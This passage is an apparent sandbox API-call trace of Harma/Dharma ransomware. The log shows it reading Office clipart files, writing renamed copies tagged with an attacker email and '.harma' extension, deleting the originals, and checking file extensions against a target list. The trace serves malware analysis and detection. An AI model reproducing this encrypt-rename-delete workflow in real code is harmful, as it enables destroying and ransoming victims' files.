(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.869] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.869] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0170.936] GetLastError () returned 0x0 [0170.936] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x2b64, lpOverlapped=0x0) returned 1 [0171.076] WriteFile (in: hFile=0x3a0, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2b70, lpOverlapped=0x0) returned 1 [0171.077] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.077] WriteFile (in: hFile=0x3a0, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.078] SetEndOfFile (hFile=0x3a0) returned 1 [0171.078] CloseHandle (hObject=0x3a0) returned 1 [0171.078] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.078] SetEndOfFile (hFile=0x374) returned 1 [0171.080] CloseHandle (hObject=0x374) returned 1 [0171.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf")) returned 1 [0171.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0171.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0171.082] lstrlenW (lpString=".doc") returned 4 [0171.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.082] lstrlenW (lpString=".docx") returned 5 [0171.082] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.082] lstrlenW (lpString=".pdf") returned 4 [0171.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.082] lstrlenW (lpString=".xls") returned 4 [0171.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.082] lstrlenW (lpString=".xlsx") returned 5 [0171.082] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.082] lstrlenW (lpString=".ppt") returned 4 [0171.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0171.082] lstrlenW (lpString=".zip") returned 4 [0171.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.082] lstrlenW (lpString=".rar") returned 4 [0171.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.082] lstrlenW (lpString=".bz2") returned 4 [0171.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.082] lstrlenW (lpString=".7z") returned 3 [0171.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0171.082] lstrlenW (lpString=".dbf") returned 4 [0171.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0171.082] lstrlenW (lpString=".1cd") returned 4 [0171.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0171.082] lstrlenW (lpString=".jpg") returned 4 [0171.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0171.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0171.083] lstrlenW (lpString=".doc") returned 4 [0171.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.083] lstrlenW (lpString=".docx") returned 5 [0171.083] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.083] lstrlenW (lpString=".pdf") returned 4 [0171.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.083] lstrlenW (lpString=".xls") returned 4 [0171.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.083] lstrlenW (lpString=".xlsx") returned 5 [0171.083] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.083] lstrlenW (lpString=".ppt") returned 4 [0171.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0171.083] lstrlenW (lpString=".zip") returned 4 [0171.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.083] lstrlenW (lpString=".rar") returned 4 [0171.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.083] lstrlenW (lpString=".bz2") returned 4 [0171.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.083] lstrlenW (lpString=".7z") returned 3 [0171.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0171.083] lstrlenW (lpString=".dbf") returned 4 [0171.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0171.083] lstrlenW (lpString=".1cd") returned 4 [0171.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0171.084] lstrlenW (lpString=".jpg") returned 4 [0171.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.084] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.084] lstrlenW (lpString="J0107290.WMF") returned 12 [0171.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.085] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=12308) returned 1 [0171.085] CloseHandle (hObject=0x374) returned 1 [0171.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf")) returned 0x20 [0171.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.085] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.085] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0171.086] GetLastError () returned 0x0 [0171.086] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x3014, lpOverlapped=0x0) returned 1 [0171.152] WriteFile (in: hFile=0x3a0, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x3020, lpOverlapped=0x0) returned 1 [0171.153] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.153] WriteFile (in: hFile=0x3a0, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.153] SetEndOfFile (hFile=0x3a0) returned 1 [0171.153] CloseHandle (hObject=0x3a0) returned 1 [0171.153] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.153] SetEndOfFile (hFile=0x374) returned 1 [0171.156] CloseHandle (hObject=0x374) returned 1 [0171.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf")) returned 1 [0171.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0171.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0171.222] lstrlenW (lpString=".doc") returned 4 [0171.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.222] lstrlenW (lpString=".docx") returned 5 [0171.222] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.222] lstrlenW (lpString=".pdf") returned 4 [0171.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.223] lstrlenW (lpString=".xls") returned 4 [0171.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.223] lstrlenW (lpString=".xlsx") returned 5 [0171.223] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.223] lstrlenW (lpString=".ppt") returned 4 [0171.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0171.223] lstrlenW (lpString=".zip") returned 4 [0171.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.223] lstrlenW (lpString=".rar") returned 4 [0171.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.223] lstrlenW (lpString=".bz2") returned 4 [0171.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.223] lstrlenW (lpString=".7z") returned 3 [0171.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0171.223] lstrlenW (lpString=".dbf") returned 4 [0171.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0171.223] lstrlenW (lpString=".1cd") returned 4 [0171.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0171.223] lstrlenW (lpString=".jpg") returned 4 [0171.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0171.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0171.223] lstrlenW (lpString=".doc") returned 4 [0171.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.223] lstrlenW (lpString=".docx") returned 5 [0171.223] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.223] lstrlenW (lpString=".pdf") returned 4 [0171.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.224] lstrlenW (lpString=".xls") returned 4 [0171.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.224] lstrlenW (lpString=".xlsx") returned 5 [0171.224] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.224] lstrlenW (lpString=".ppt") returned 4 [0171.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0171.224] lstrlenW (lpString=".zip") returned 4 [0171.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.224] lstrlenW (lpString=".rar") returned 4 [0171.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.224] lstrlenW (lpString=".bz2") returned 4 [0171.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.224] lstrlenW (lpString=".7z") returned 3 [0171.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0171.224] lstrlenW (lpString=".dbf") returned 4 [0171.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0171.224] lstrlenW (lpString=".1cd") returned 4 [0171.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0171.224] lstrlenW (lpString=".jpg") returned 4 [0171.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.225] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.225] lstrlenW (lpString="J0107308.WMF") returned 12 [0171.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0171.240] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=15888) returned 1 [0171.240] CloseHandle (hObject=0x3a0) returned 1 [0171.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf")) returned 0x20 [0171.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0171.241] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.241] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0171.243] GetLastError () returned 0x0 [0171.243] ReadFile (in: hFile=0x3a0, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x3e10, lpOverlapped=0x0) returned 1 [0171.308] WriteFile (in: hFile=0x21c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x3e20, lpOverlapped=0x0) returned 1 [0171.309] ReadFile (in: hFile=0x3a0, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.309] WriteFile (in: hFile=0x21c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.309] SetEndOfFile (hFile=0x21c) returned 1 [0171.342] CloseHandle (hObject=0x21c) returned 1 [0171.342] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.342] SetEndOfFile (hFile=0x3a0) returned 1 [0171.345] CloseHandle (hObject=0x3a0) returned 1 [0171.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf")) returned 1 [0171.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0171.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0171.347] lstrlenW (lpString=".doc") returned 4 [0171.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.347] lstrlenW (lpString=".docx") returned 5 [0171.347] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.347] lstrlenW (lpString=".pdf") returned 4 [0171.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.347] lstrlenW (lpString=".xls") returned 4 [0171.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.347] lstrlenW (lpString=".xlsx") returned 5 [0171.347] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.347] lstrlenW (lpString=".ppt") returned 4 [0171.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0171.347] lstrlenW (lpString=".zip") returned 4 [0171.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.347] lstrlenW (lpString=".rar") returned 4 [0171.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.347] lstrlenW (lpString=".bz2") returned 4 [0171.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.347] lstrlenW (lpString=".7z") returned 3 [0171.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0171.347] lstrlenW (lpString=".dbf") returned 4 [0171.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0171.347] lstrlenW (lpString=".1cd") returned 4 [0171.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0171.347] lstrlenW (lpString=".jpg") returned 4 [0171.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0171.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0171.348] lstrlenW (lpString=".doc") returned 4 [0171.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.348] lstrlenW (lpString=".docx") returned 5 [0171.348] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.348] lstrlenW (lpString=".pdf") returned 4 [0171.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.348] lstrlenW (lpString=".xls") returned 4 [0171.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.348] lstrlenW (lpString=".xlsx") returned 5 [0171.348] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.348] lstrlenW (lpString=".ppt") returned 4 [0171.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0171.348] lstrlenW (lpString=".zip") returned 4 [0171.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.348] lstrlenW (lpString=".rar") returned 4 [0171.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.348] lstrlenW (lpString=".bz2") returned 4 [0171.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.348] lstrlenW (lpString=".7z") returned 3 [0171.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0171.348] lstrlenW (lpString=".dbf") returned 4 [0171.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0171.348] lstrlenW (lpString=".1cd") returned 4 [0171.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0171.348] lstrlenW (lpString=".jpg") returned 4 [0171.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.349] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.349] lstrlenW (lpString="J0107314.WMF") returned 12 [0171.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0171.350] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=10852) returned 1 [0171.350] CloseHandle (hObject=0x3a0) returned 1 [0171.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf")) returned 0x20 [0171.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0171.351] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.351] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft 